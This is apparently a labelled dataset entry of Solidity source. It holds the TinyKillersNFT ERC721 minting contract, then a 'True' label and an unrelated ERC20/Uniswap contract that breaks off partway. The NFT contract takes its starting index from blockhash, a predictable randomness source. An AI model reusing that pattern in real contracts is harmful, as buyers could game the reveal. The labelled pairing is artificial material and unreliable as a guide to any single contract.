* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract TinyKillersNFT is ERC721Enumerable, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
string private _baseTokenURI;
string public KILLER_PROVENANCE = "";
uint256 public startingIndexBlock;
uint256 public startingIndex;
uint256 public revealDate;
uint256 public killerPrice = 0.13 ether;
uint public constant maxPurchaseAmt = 10;
uint256 public maxSupply = 1313;
bool public saleIsActive;
modifier onlyTeam() {
require(
address(0xAf1765c5Fa17CB6E4aedAFF3F8Df6c36874C65AF) == msg.sender
|| address(0x65EF8fACF7ED55816436BbC8CEB1E27b6A60761f) == msg.sender
|| address(0x624d44ddd2357FCffC2E461d9e690c37bF1baF60) == msg.sender
|| address(0x6B2083a5C04bcbbC5DA2b57c9906657162F09fcC) == msg.sender
|| address(0xbC8Aac0651985159f545F2426FC00b62B1d39a11) == msg.sender
, "Ownable: caller is not part of team");
_;
}
constructor(uint256 _revealDate) ERC721("TinyKillers", "KILLERS") {
revealDate = _revealDate;
}
function withdraw() external onlyTeam {
uint balance = address(this).balance;
uint pay1 = balance * 15 / 100;
uint pay2 = balance * 75 / 1000;
uint pay3 = balance * 75 / 1000;
uint pay4 = balance - pay1 - pay2 - pay3;
payable(address(0x6B2083a5C04bcbbC5DA2b57c9906657162F09fcC)).transfer(pay1);
payable(address(0x65EF8fACF7ED55816436BbC8CEB1E27b6A60761f)).transfer(pay2);
payable(address(0x624d44ddd2357FCffC2E461d9e690c37bF1baF60)).transfer(pay3);
payable(address(0xAf1765c5Fa17CB6E4aedAFF3F8Df6c36874C65AF)).transfer(pay4);
}
function adminMint(address _to, uint256 _amount) external onlyOwner {
_mintKillers(_to, _amount);
}
function mint(uint256 _amount) external payable {
require(saleIsActive, "Sale is not active");
require(_amount <= maxPurchaseAmt, "Can only mint 10 NFTs at a time");
require( (killerPrice * _amount) == msg.value, "ETH value sent is not correct");
_mintKillers(msg.sender, _amount);
}
function _mintKillers(address _to, uint _amount) internal nonReentrant {
require((_tokenIds.current() + _amount) <= maxSupply, "Mint would exceed max supply");
for(uint i = 0; i < _amount; i++) {
_tokenIds.increment();
_safeMint(_to, _tokenIds.current());
}
if (startingIndexBlock == 0 && (totalSupply() == maxSupply || block.timestamp >= revealDate)) {
_setStartingIndex();
}
}
function _setStartingIndex() internal {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number - 1;
startingIndex = uint(blockhash(startingIndexBlock)) % maxSupply;
}
function setProvenanceHash(string memory provenanceHash) external onlyOwner {
KILLER_PROVENANCE = provenanceHash;
}
function setBaseURI(string calldata newBaseTokenURI) external onlyOwner {
_baseTokenURI = newBaseTokenURI;
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
function baseURI() public view returns (string memory) {
return _baseURI();
}
function changeSaleState() external onlyOwner {
saleIsActive = !saleIsActive;
}
function setKillerPrice(uint256 Price) external onlyOwner {
killerPrice = Price;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-26
*/
pragma solidity 0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
